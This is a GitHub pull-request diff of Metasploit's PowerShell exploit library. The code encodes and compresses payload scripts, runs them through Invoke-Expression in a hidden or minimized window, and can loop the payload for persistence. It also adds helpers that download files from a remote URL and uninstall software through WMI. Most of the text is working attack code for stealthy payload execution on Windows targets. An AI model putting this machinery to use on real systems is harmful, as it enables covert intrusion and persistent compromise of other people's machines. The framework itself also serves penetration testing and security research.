Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
595e538
post/local_admin_search_enum~Regex fails,module 2
Jul 2, 2013
4554cc6
Import Powershell libs and modules (again)
Jul 4, 2013
cd14569
Revert "post/local_admin_search_enum~Regex fails,module 2"
Jul 20, 2013
dc15c5b
Merge branch 'master' into powershell_import
Jul 20, 2013
eb18537
Trim to core requirements
Jul 20, 2013
9d93891
Import old powershell post lib from master
Jul 20, 2013
4df3b02
replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1
Jul 20, 2013
b3fab9a
Fix git branch mauling - reintroduce psexec_psh
Jul 28, 2013
176de5a
Selective psexec_psh merge.
Meatballs1 Jul 29, 2013
eb3f83f
Merge remote-tracking branch 'remotes/semperv/powershell_import' into…
Meatballs1 Jul 29, 2013
59a2c7e
Merge Upstream Exploit::Powershell
Meatballs1 Jul 29, 2013
e1cfe7c
Update datastore changes
Meatballs1 Jul 29, 2013
d2e57ea
Merge remote-tracking branch 'origin/psh_merge' into psh_merge
Meatballs1 Jul 29, 2013
976c058
Merge pull request #5 from Meatballs1/psh_merge
sempervictus Jul 30, 2013
7c46e95
Merge branch 'master' of https://github.com/rapid7/metasploit-framewo…
Jul 31, 2013
1fa5107
Powershell post libs and modules
Jul 31, 2013
2c850d8
Merge branch 'powershell_import' of github.com:sempervictus/metasploi…
Jul 31, 2013
7e9ad4a
Merge branch 'powershell_import' of github.com:sempervictus/metasploi…
Jul 31, 2013
f572ce6
Revert "post/local_admin_search_enum~Regex fails,module 2"
Jul 31, 2013
b2815dc
Merge for retab
tabassassin Sep 5, 2013
4eded34
Retab changes for PR #2183
tabassassin Sep 5, 2013
c4ec485
Merge pull request #6 from tabassassin/retab/pr/2183
sempervictus Sep 14, 2013
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
181 changes: 97 additions & 84 deletions lib/msf/core/exploit/powershell.rb
Original file line number Diff line number Diff line change
@@ -1,23 +1,37 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell

class PshScript < Rex::Exploitation::Powershell::Script
end

def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
register_advanced_options(
[
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::RUN_WOW64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end

#
# Reads script into a PshScript
#
def read_script(script)
return PshScript.new(script)
end

#
# Insert substitutions into the powershell script
#
Expand All @@ -29,10 +43,10 @@ def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
# if datastore['VERBOSE']
# print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")}
# end
return script
end

Expand All @@ -49,63 +63,18 @@ def process_subs(subs)
end

#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end

# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end


#
# Return a zlib compressed powershell script
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)

# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)

# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)

# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)

# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)

return encoded_expression
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.compress_code(eof)
end

#
Expand All @@ -125,54 +94,98 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
$p = [System.Diagnostics.Process]::Start($si)
EOS

return ps_wrapper
return ps_wrapper.gsub("\n",';')
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
if datastore['PSH::PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
# Determine appropriate architecture, manual method reduces script size
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
end


#
# Convert binary to byte array, read from file if able
# Useful method cache
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
module PshMethods

#
# Convert binary to byte array, read from file if able
#
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end

return psh << lines.join("") + "\r\n"
end

#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end
psh << lines.join("") + "\r\n"
end

#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end

#
# MISC
#

#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end


def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end

Loading